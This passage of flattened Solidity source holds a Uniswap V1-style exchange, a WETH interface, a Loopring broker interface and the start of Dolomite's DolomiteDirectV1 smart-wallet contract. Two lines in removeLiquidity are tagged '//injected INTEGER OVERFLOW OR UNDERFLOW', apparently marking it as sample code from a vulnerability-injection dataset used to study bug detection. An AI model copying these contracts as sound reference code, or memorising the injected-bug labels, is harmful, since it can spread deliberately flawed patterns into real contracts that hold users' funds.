tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256); function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256); function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256); function tokenToTokenSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256); function tokenToTokenSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256); function tokenToExchangeSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256); function tokenToExchangeTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256); function tokenToExchangeSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256); function tokenToExchangeTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256); function tokenAddress() external view returns (address); function factoryAddress() external view returns (address); function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); } contract UniswapExchange is ERC20 { /***********************************| | Variables && Events | |__________________________________*/ // Variables bytes32 public name; // Uniswap V1 bytes32 public symbol; // UNI-V1 uint256 public decimals; // 18 ERC20 token; // address of the ERC20 token traded on this contract IUniswapFactory factory; // interface for the factory that created this contract // Events event TokenPurchase(address indexed buyer, uint256 indexed eth_sold, uint256 indexed tokens_bought); event EthPurchase(address indexed buyer, uint256 indexed tokens_sold, uint256 indexed eth_bought); event AddLiquidity(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); event RemoveLiquidity(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); /***********************************| | Constsructor | |__________________________________*/ /** * @dev This function acts as a contract constructor which is not currently supported in contracts deployed * using create_with_code_of(). It is called once by the factory during contract creation. */ function setup(address token_addr) public { require( address(factory) == address(0) && address(token) == address(0) && token_addr != address(0), "INVALID_ADDRESS" ); factory = IUniswapFactory(msg.sender); token = ERC20(token_addr); name = 0x556e697377617020563100000000000000000000000000000000000000000000; symbol = 0x554e492d56310000000000000000000000000000000000000000000000000000; decimals = 18; } /***********************************| | Exchange Functions | |__________________________________*/ /** * @notice Convert ETH to Tokens. * @dev User specifies exact input (msg.value). * @dev User cannot specify minimum output or deadline. */ function () external payable { ethToTokenInput(msg.value, 1, block.timestamp, msg.sender, msg.sender); } /** * @dev Pricing function for converting between ETH && Tokens. * @param input_amount Amount of ETH or Tokens being sold. * @param input_reserve Amount of ETH or Tokens (input type) in exchange reserves. * @param output_reserve Amount of ETH or Tokens (output type) in exchange reserves. * @return Amount of ETH or Tokens bought. */ function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) { require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE"); uint256 input_amount_with_fee = input_amount.mul(997); uint256 numerator = input_amount_with_fee.mul(output_reserve); uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee); return numerator / denominator; } /** * @dev Pricing function for converting between ETH && Tokens. * @param output_amount Amount of ETH or Tokens being bought. * @param input_reserve Amount of ETH or Tokens (input type) in exchange reserves. * @param output_reserve Amount of ETH or Tokens (output type) in exchange reserves. * @return Amount of ETH or Tokens sold. */ function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) { require(input_reserve > 0 && output_reserve > 0); uint256 numerator = input_reserve.mul(output_amount).mul(1000); uint256 denominator = (output_reserve.sub(output_amount)).mul(997); return (numerator / denominator).add(1); } function ethToTokenInput(uint256 eth_sold, uint256 min_tokens, uint256 deadline, address buyer, address recipient) private returns (uint256) { require(deadline >= block.timestamp && eth_sold > 0 && min_tokens > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 tokens_bought = getInputPrice(eth_sold, address(this).balance.sub(eth_sold), token_reserve); require(tokens_bought >= min_tokens); require(token.transfer(recipient, tokens_bought)); emit TokenPurchase(buyer, eth_sold, tokens_bought); return tokens_bought; } /** * @notice Convert ETH to Tokens. * @dev User specifies exact input (msg.value) && minimum output. * @param min_tokens Minimum Tokens bought. * @param deadline Time after which this transaction can no longer be executed. * @return Amount of Tokens bought. */ function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) public payable returns (uint256) { return ethToTokenInput(msg.value, min_tokens, deadline, msg.sender, msg.sender); } /** * @notice Convert ETH to Tokens && transfers Tokens to recipient. * @dev User specifies exact input (msg.value) && minimum output * @param min_tokens Minimum Tokens bought. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output Tokens. * @return Amount of Tokens bought. */ function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) public payable returns(uint256) { require(recipient != address(this) && recipient != address(0)); return ethToTokenInput(msg.value, min_tokens, deadline, msg.sender, recipient); } function ethToTokenOutput(uint256 tokens_bought, uint256 max_eth, uint256 deadline, address payable buyer, address recipient) private returns (uint256) { require(deadline >= block.timestamp && tokens_bought > 0 && max_eth > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_eth), token_reserve); // Throws if eth_sold > max_eth uint256 eth_refund = max_eth.sub(eth_sold); if (eth_refund > 0) { buyer.transfer(eth_refund); } require(token.transfer(recipient, tokens_bought)); emit TokenPurchase(buyer, eth_sold, tokens_bought); return eth_sold; } /** * @notice Convert ETH to Tokens. * @dev User specifies maximum input (msg.value) && exact output. * @param tokens_bought Amount of tokens bought. * @param deadline Time after which this transaction can no longer be executed. * @return Amount of ETH sold. */ function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) public payable returns(uint256) { return ethToTokenOutput(tokens_bought, msg.value, deadline, msg.sender, msg.sender); } /** * @notice Convert ETH to Tokens && transfers Tokens to recipient. * @dev User specifies maximum input (msg.value) && exact output. * @param tokens_bought Amount of tokens bought. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output Tokens. * @return Amount of ETH sold. */ function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) public payable returns (uint256) { require(recipient != address(this) && recipient != address(0)); return ethToTokenOutput(tokens_bought, msg.value, deadline, msg.sender, recipient); } function tokenToEthInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address buyer, address payable recipient) private returns (uint256) { require(deadline >= block.timestamp && tokens_sold > 0 && min_eth > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance); uint256 wei_bought = eth_bought; require(wei_bought >= min_eth); recipient.transfer(wei_bought); require(token.transferFrom(buyer, address(this), tokens_sold)); emit EthPurchase(buyer, tokens_sold, wei_bought); return wei_bought; } /** * @notice Convert Tokens to ETH. * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_eth Minimum ETH purchased. * @param deadline Time after which this transaction can no longer be executed. * @return Amount of ETH bought. */ function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) public returns (uint256) { return tokenToEthInput(tokens_sold, min_eth, deadline, msg.sender, msg.sender); } /** * @notice Convert Tokens to ETH && transfers ETH to recipient. * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_eth Minimum ETH purchased. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @return Amount of ETH bought. */ function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address payable recipient) public returns (uint256) { require(recipient != address(this) && recipient != address(0)); return tokenToEthInput(tokens_sold, min_eth, deadline, msg.sender, recipient); } function tokenToEthOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address buyer, address payable recipient) private returns (uint256) { require(deadline >= block.timestamp && eth_bought > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 tokens_sold = getOutputPrice(eth_bought, token_reserve, address(this).balance); // tokens sold is always > 0 require(max_tokens >= tokens_sold); recipient.transfer(eth_bought); require(token.transferFrom(buyer, address(this), tokens_sold)); emit EthPurchase(buyer, tokens_sold, eth_bought); return tokens_sold; } /** * @notice Convert Tokens to ETH. * @dev User specifies maximum input && exact output. * @param eth_bought Amount of ETH purchased. * @param max_tokens Maximum Tokens sold. * @param deadline Time after which this transaction can no longer be executed. * @return Amount of Tokens sold. */ function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) public returns (uint256) { return tokenToEthOutput(eth_bought, max_tokens, deadline, msg.sender, msg.sender); } /** * @notice Convert Tokens to ETH && transfers ETH to recipient. * @dev User specifies maximum input && exact output. * @param eth_bought Amount of ETH purchased. * @param max_tokens Maximum Tokens sold. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @return Amount of Tokens sold. */ function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address payable recipient) public returns (uint256) { require(recipient != address(this) && recipient != address(0)); return tokenToEthOutput(eth_bought, max_tokens, deadline, msg.sender, recipient); } function tokenToTokenInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address buyer, address recipient, address payable exchange_addr) private returns (uint256) { require(deadline >= block.timestamp && tokens_sold > 0 && min_tokens_bought > 0 && min_eth_bought > 0); require(exchange_addr != address(this) && exchange_addr != address(0)); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance); uint256 wei_bought = eth_bought; require(wei_bought >= min_eth_bought); require(token.transferFrom(buyer, address(this), tokens_sold)); uint256 tokens_bought = IUniswapExchange(exchange_addr).ethToTokenTransferInput.value(wei_bought)(min_tokens_bought, deadline, recipient); emit EthPurchase(buyer, tokens_sold, wei_bought); return tokens_bought; } /** * @notice Convert Tokens (token) to Tokens (token_addr). * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_tokens_bought Minimum Tokens (token_addr) purchased. * @param min_eth_bought Minimum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param token_addr The address of the token being purchased. * @return Amount of Tokens (token_addr) bought. */ function tokenToTokenSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) public returns (uint256) { address payable exchange_addr = factory.getExchange(token_addr); return tokenToTokenInput(tokens_sold, min_tokens_bought, min_eth_bought, deadline, msg.sender, msg.sender, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (token_addr) && transfers * Tokens (token_addr) to recipient. * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_tokens_bought Minimum Tokens (token_addr) purchased. * @param min_eth_bought Minimum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @param token_addr The address of the token being purchased. * @return Amount of Tokens (token_addr) bought. */ function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) public returns (uint256) { address payable exchange_addr = factory.getExchange(token_addr); return tokenToTokenInput(tokens_sold, min_tokens_bought, min_eth_bought, deadline, msg.sender, recipient, exchange_addr); } function tokenToTokenOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address buyer, address recipient, address payable exchange_addr) private returns (uint256) { require(deadline >= block.timestamp && (tokens_bought > 0 && max_eth_sold > 0)); require(exchange_addr != address(this) && exchange_addr != address(0)); uint256 eth_bought = IUniswapExchange(exchange_addr).getEthToTokenOutputPrice(tokens_bought); uint256 token_reserve = token.balanceOf(address(this)); uint256 tokens_sold = getOutputPrice(eth_bought, token_reserve, address(this).balance); // tokens sold is always > 0 require(max_tokens_sold >= tokens_sold && max_eth_sold >= eth_bought); require(token.transferFrom(buyer, address(this), tokens_sold)); uint256 eth_sold = IUniswapExchange(exchange_addr).ethToTokenTransferOutput.value(eth_bought)(tokens_bought, deadline, recipient); emit EthPurchase(buyer, tokens_sold, eth_bought); return tokens_sold; } /** * @notice Convert Tokens (token) to Tokens (token_addr). * @dev User specifies maximum input && exact output. * @param tokens_bought Amount of Tokens (token_addr) bought. * @param max_tokens_sold Maximum Tokens (token) sold. * @param max_eth_sold Maximum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param token_addr The address of the token being purchased. * @return Amount of Tokens (token) sold. */ function tokenToTokenSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) public returns (uint256) { address payable exchange_addr = factory.getExchange(token_addr); return tokenToTokenOutput(tokens_bought, max_tokens_sold, max_eth_sold, deadline, msg.sender, msg.sender, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (token_addr) && transfers * Tokens (token_addr) to recipient. * @dev User specifies maximum input && exact output. * @param tokens_bought Amount of Tokens (token_addr) bought. * @param max_tokens_sold Maximum Tokens (token) sold. * @param max_eth_sold Maximum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @param token_addr The address of the token being purchased. * @return Amount of Tokens (token) sold. */ function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) public returns (uint256) { address payable exchange_addr = factory.getExchange(token_addr); return tokenToTokenOutput(tokens_bought, max_tokens_sold, max_eth_sold, deadline, msg.sender, recipient, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (exchange_addr.token). * @dev Allows trades through contracts that were not deployed from the same factory. * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_tokens_bought Minimum Tokens (token_addr) purchased. * @param min_eth_bought Minimum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param exchange_addr The address of the exchange for the token being purchased. * @return Amount of Tokens (exchange_addr.token) bought. */ function tokenToExchangeSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address payable exchange_addr) public returns (uint256) { return tokenToTokenInput(tokens_sold, min_tokens_bought, min_eth_bought, deadline, msg.sender, msg.sender, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (exchange_addr.token) && transfers * Tokens (exchange_addr.token) to recipient. * @dev Allows trades through contracts that were not deployed from the same factory. * @dev User specifies exact input && minimum output. * @param tokens_sold Amount of Tokens sold. * @param min_tokens_bought Minimum Tokens (token_addr) purchased. * @param min_eth_bought Minimum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @param exchange_addr The address of the exchange for the token being purchased. * @return Amount of Tokens (exchange_addr.token) bought. */ function tokenToExchangeTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address payable exchange_addr) public returns (uint256) { require(recipient != address(this)); return tokenToTokenInput(tokens_sold, min_tokens_bought, min_eth_bought, deadline, msg.sender, recipient, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (exchange_addr.token). * @dev Allows trades through contracts that were not deployed from the same factory. * @dev User specifies maximum input && exact output. * @param tokens_bought Amount of Tokens (token_addr) bought. * @param max_tokens_sold Maximum Tokens (token) sold. * @param max_eth_sold Maximum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param exchange_addr The address of the exchange for the token being purchased. * @return Amount of Tokens (token) sold. */ function tokenToExchangeSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address payable exchange_addr) public returns (uint256) { return tokenToTokenOutput(tokens_bought, max_tokens_sold, max_eth_sold, deadline, msg.sender, msg.sender, exchange_addr); } /** * @notice Convert Tokens (token) to Tokens (exchange_addr.token) && transfers * Tokens (exchange_addr.token) to recipient. * @dev Allows trades through contracts that were not deployed from the same factory. * @dev User specifies maximum input && exact output. * @param tokens_bought Amount of Tokens (token_addr) bought. * @param max_tokens_sold Maximum Tokens (token) sold. * @param max_eth_sold Maximum ETH purchased as intermediary. * @param deadline Time after which this transaction can no longer be executed. * @param recipient The address that receives output ETH. * @param exchange_addr The address of the exchange for the token being purchased. * @return Amount of Tokens (token) sold. */ function tokenToExchangeTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address payable exchange_addr) public returns (uint256) { require(recipient != address(this)); return tokenToTokenOutput(tokens_bought, max_tokens_sold, max_eth_sold, deadline, msg.sender, recipient, exchange_addr); } /***********************************| | Getter Functions | |__________________________________*/ /** * @notice Public price function for ETH to Token trades with an exact input. * @param eth_sold Amount of ETH sold. * @return Amount of Tokens that can be bought with input ETH. */ function getEthToTokenInputPrice(uint256 eth_sold) public view returns (uint256) { require(eth_sold > 0); uint256 token_reserve = token.balanceOf(address(this)); return getInputPrice(eth_sold, address(this).balance, token_reserve); } /** * @notice Public price function for ETH to Token trades with an exact output. * @param tokens_bought Amount of Tokens bought. * @return Amount of ETH needed to buy output Tokens. */ function getEthToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) { require(tokens_bought > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve); return eth_sold; } /** * @notice Public price function for Token to ETH trades with an exact input. * @param tokens_sold Amount of Tokens sold. * @return Amount of ETH that can be bought with input Tokens. */ function getTokenToEthInputPrice(uint256 tokens_sold) public view returns (uint256) { require(tokens_sold > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance); return eth_bought; } /** * @notice Public price function for Token to ETH trades with an exact output. * @param eth_bought Amount of output ETH. * @return Amount of Tokens needed to buy output ETH. */ function getTokenToEthOutputPrice(uint256 eth_bought) public view returns (uint256) { require(eth_bought > 0); uint256 token_reserve = token.balanceOf(address(this)); return getOutputPrice(eth_bought, token_reserve, address(this).balance); } /** * @return Address of Token that is sold on this exchange. */ function tokenAddress() public view returns (address) { return address(token); } /** * @return Address of factory that created this exchange. */ function factoryAddress() public view returns (address) { return address(factory); } /***********************************| | Liquidity Functions | |__________________________________*/ /** * @notice Deposit ETH && Tokens (token) at current ratio to mint UNI tokens. * @dev min_liquidity does nothing when total UNI supply is 0. * @param min_liquidity Minimum number of UNI sender will mint if total UNI supply is greater than 0. * @param max_tokens Maximum number of tokens deposited. Deposits max amount if total UNI supply is 0. * @param deadline Time after which this transaction can no longer be executed. * @return The amount of UNI minted. */ function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) public payable returns (uint256) { require(deadline > block.timestamp && max_tokens > 0 && msg.value > 0, 'UniswapExchange#addLiquidity: INVALID_ARGUMENT'); uint256 total_liquidity = _totalSupply; if (total_liquidity > 0) { require(min_liquidity > 0); uint256 eth_reserve = address(this).balance.sub(msg.value); uint256 token_reserve = token.balanceOf(address(this)); uint256 token_amount = (msg.value.mul(token_reserve) / eth_reserve).add(1); uint256 liquidity_minted = msg.value.mul(total_liquidity) / eth_reserve; require(max_tokens >= token_amount && liquidity_minted >= min_liquidity); _balances[msg.sender] = _balances[msg.sender].add(liquidity_minted); _totalSupply = total_liquidity.add(liquidity_minted); require(token.transferFrom(msg.sender, address(this), token_amount)); emit AddLiquidity(msg.sender, msg.value, token_amount); emit Transfer(address(0), msg.sender, liquidity_minted); return liquidity_minted; } else { require(address(factory) != address(0) && address(token) != address(0) && msg.value >= 1000000000, "INVALID_VALUE"); require(factory.getExchange(address(token)) == address(this)); uint256 token_amount = max_tokens; uint256 initial_liquidity = address(this).balance; _totalSupply = initial_liquidity; _balances[msg.sender] = initial_liquidity; require(token.transferFrom(msg.sender, address(this), token_amount)); emit AddLiquidity(msg.sender, msg.value, token_amount); emit Transfer(address(0), msg.sender, initial_liquidity); return initial_liquidity; } } /** * @dev Burn UNI tokens to withdraw ETH && Tokens at current ratio. * @param amount Amount of UNI burned. * @param min_eth Minimum ETH withdrawn. * @param min_tokens Minimum Tokens withdrawn. * @param deadline Time after which this transaction can no longer be executed. * @return The amount of ETH && Tokens withdrawn. */ function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) public returns (uint256, uint256) { require(amount > 0 && deadline > block.timestamp && min_eth > 0 && min_tokens > 0); uint256 total_liquidity = _totalSupply; require(total_liquidity > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_amount = amount.mul(address(this).balance) / total_liquidity; uint256 token_amount = amount.mul(token_reserve) / total_liquidity; require(eth_amount >= min_eth && token_amount >= min_tokens); _balances[msg.sender] = _balances[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW _totalSupply = total_liquidity.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW msg.sender.transfer(eth_amount); require(token.transfer(msg.sender, token_amount)); emit RemoveLiquidity(msg.sender, eth_amount, token_amount); emit Transfer(msg.sender, address(0), amount); return (eth_amount, token_amount); } } // File: contracts/market-making/sources/WETH.sol /* * Copyright 2019 Dolomite * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.5.7; contract WETH { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); function totalSupply() public view returns (uint); function balanceOf(address guy) public view returns (uint); function allowance(address src, address guy) public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom(address src, address dst, uint wad) public returns (bool); function deposit() public payable; function withdraw(uint wad) public; } // File: contracts/loopring/iface/IBrokerDelegate.sol /* * Copyright 2019 Dolomite * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.5.7; pragma experimental ABIEncoderV2; /** * @title IBrokerDelegate * @author Zack Rubenstein */ interface IBrokerDelegate { /* * Loopring requests an allowance be set on a given token for a specified amount. Order details * are provided (tokenS, totalAmountS, tokenB, totalAmountB, orderTokenRecipient, extraOrderData) * to aid in any calculations or on-chain exchange of assets that may be required. The last 4 * parameters concern the actual token approval being requested of the broker. * * @returns Whether or not onOrderFillReport should be called for orders using this broker */ function brokerRequestAllowance(BrokerData.BrokerApprovalRequest calldata request) external returns (bool); /* * After Loopring performs all of the transfers necessary to complete all the submitted * rings it will call this function for every order's brokerInterceptor (if set) passing * along the final fill counts for tokenB, tokenS and feeToken. This allows actions to be * performed on a per-order basis after all tokenS/feeToken funds have left the order owner's * possession and the tokenB funds have been transferred to the order owner's intended recipient */ function onOrderFillReport(BrokerData.BrokerInterceptorReport calldata fillReport) external; /* * Get the available token balance controlled by the broker on behalf of an address (owner) */ function brokerBalanceOf(address owner, address token) external view returns (uint); } // File: contracts/dolomite-direct/DolomiteDirectV1.sol /* * Copyright 2019 Dolomite * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.5.7;interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external; function transferFrom(address from, address to, uint256 value) external; function approve(address spender, uint256 value) external; } library Types { struct RequestFee { address feeRecipient; address feeToken; uint feeAmount; } struct RequestSignature { uint8 v; bytes32 r; bytes32 s; } enum RequestType { Update, Transfer, Approve, Perform } struct Request { address owner; address target; RequestType requestType; bytes payload; uint nonce; RequestFee fee; RequestSignature signature; } struct TransferRequest { address token; address recipient; uint amount; bool unwrap; } } interface IDolomiteMarginTradingBroker { function brokerMarginRequestApproval(address owner, address token, uint amount) external; function brokerMarginGetTrader(address owner, bytes calldata orderData) external view returns (address); } interface IVersionable { /* * Is called by IDepositContractRegistry when this version * is being upgraded to. Will call `versionEndUsage` on the * old contract before calling this one */ function versionBeginUsage( address owner, address payable depositAddress, address oldVersion, bytes calldata additionalData ) external; /* * Is called by IDepositContractRegistry when this version is * being upgraded from. IDepositContractRegistry will then call * `versionBeginUsage` on the new contract */ function versionEndUsage( address owner, address payable depositAddress, address newVersion, bytes calldata additionalData ) external; } interface IDepositContract { function perform( address addr, string calldata signature, bytes calldata encodedParams, uint value ) external returns (bytes memory); } interface IDepositContractRegistry { function depositAddressOf(address owner) external view returns (address payable); function operatorOf(address owner, address operator) external returns (bool); } library DepositContractHelper { function wrapAndTransferToken(IDepositContract self, address token, address recipient, uint amount, address wethAddress) internal { if (token == wethAddress) { uint etherBalance = address(self).balance; if (etherBalance > 0) wrapEth(self, token, etherBalance); } transferToken(self, token, recipient, amount); } function transferToken(IDepositContract self, address token, address recipient, uint amount) internal { self.perform(token, "transfer(address,uint256)", abi.encode(recipient, amount), 0); } function transferEth(IDepositContract self, address recipient, uint amount) internal { self.perform(recipient, "", abi.encode(), amount); } function approveToken(IDepositContract self, address token, address broker, uint amount) internal { self.perform(token, "approve(address,uint256)", abi.encode(broker, amount), 0); } function wrapEth(IDepositContract self, address wethToken, uint amount) internal { self.perform(wethToken, "deposit()", abi.encode(), amount); } function unwrapWeth(IDepositContract self, address wethToken, uint amount) internal { self.perform(wethToken, "withdraw(uint256)", abi.encode(amount), 0); } function setDydxOperator(IDepositContract self, address dydxContract, address operator) internal { bytes memory encodedParams = abi.encode( bytes32(0x0000000000000000000000000000000000000000000000000000000000000020), bytes32(0x0000000000000000000000000000000000000000000000000000000000000001), operator, bytes32(0x0000000000000000000000000000000000000000000000000000000000000001) ); self.perform(dydxContract, "setOperators((address,bool)[])", encodedParams, 0); } } library RequestHelper { bytes constant personalPrefix = "\x19Ethereum Signed Message:\n32"; function getSigner(Types.Request memory self) internal pure returns (address) { bytes32 messageHash = keccak256(abi.encode( self.owner, self.target, self.requestType, self.payload, self.nonce, abi.encode(self.fee.feeRecipient, self.fee.feeToken, self.fee.feeAmount) )); bytes32 prefixedHash = keccak256(abi.encodePacked(personalPrefix, messageHash)); return ecrecover(prefixedHash, self.signature.v, self.signature.r, self.signature.s); } function decodeTransferRequest(Types.Request memory self) internal pure returns (Types.TransferRequest memory transferRequest) { require(self.requestType == Types.RequestType.Transfer, "INVALID_REQUEST_TYPE"); ( transferRequest.token, transferRequest.recipient, transferRequest.amount, transferRequest.unwrap ) = abi.decode(self.payload, (address, address, uint, bool)); } } contract Requestable { using RequestHelper for Types.Request; mapping(address => uint) nonces; function validateRequest(Types.Request memory request) internal { require(request.target == address(this), "INVALID_TARGET"); require(request.getSigner() == request.owner, "INVALID_SIGNATURE"); require(nonces[request.owner] + 1 == request.nonce, "INVALID_NONCE"); if (request.fee.feeAmount > 0) { require(balanceOf(request.owner, request.fee.feeToken) >= request.fee.feeAmount, "INSUFFICIENT_FEE_BALANCE"); } nonces[request.owner] += 1; } function completeRequest(Types.Request memory request) internal { if (request.fee.feeAmount > 0) { _payRequestFee(request.owner, request.fee.feeToken, request.fee.feeRecipient, request.fee.feeAmount); } } function nonceOf(address owner) public view returns (uint) { return nonces[owner]; } // Abtract functions function balanceOf(address owner, address token) public view returns (uint); function _payRequestFee(address owner, address feeToken, address feeRecipient, uint feeAmount) internal; } /** * @title DolomiteDirectV1 * @author Zack Rubenstein * * Interfaces with the IDepositContractRegistry and individual * IDepositContracts to enable smart-wallet functionality as well * as spot and margin trading on Dolomite (through Loopring & dYdX) */ contract DolomiteDirectV1 is Requestable, IVersionable, IDolomiteMarginTradingBroker { using DepositContractHelper for IDepositContract; using SafeMath for uint; IDepositContractRegistry public registry; address public loopringDelegate; address public dolomiteMarginProtocolAddress; address public dydxProtocolAddress; address public wethTokenAddress; constructor( address _depositContractRegistry, address _loopringDelegate, address _dolomiteMarginProtocol, address _dydxProtocolAddress, address _wethTokenAddress ) public { registry = IDepositContractRegistry(_depositContractRegistry); loopringDelegate = _loopringDelegate; dolomiteMarginProtocolAddress = _dolomiteMarginProtocol; dydxProtocolAddress = _dydxProtocolAddress; wethTokenAddress = _wethTokenAddress; } /* * Returns the available balance for an owner that this contract manages. 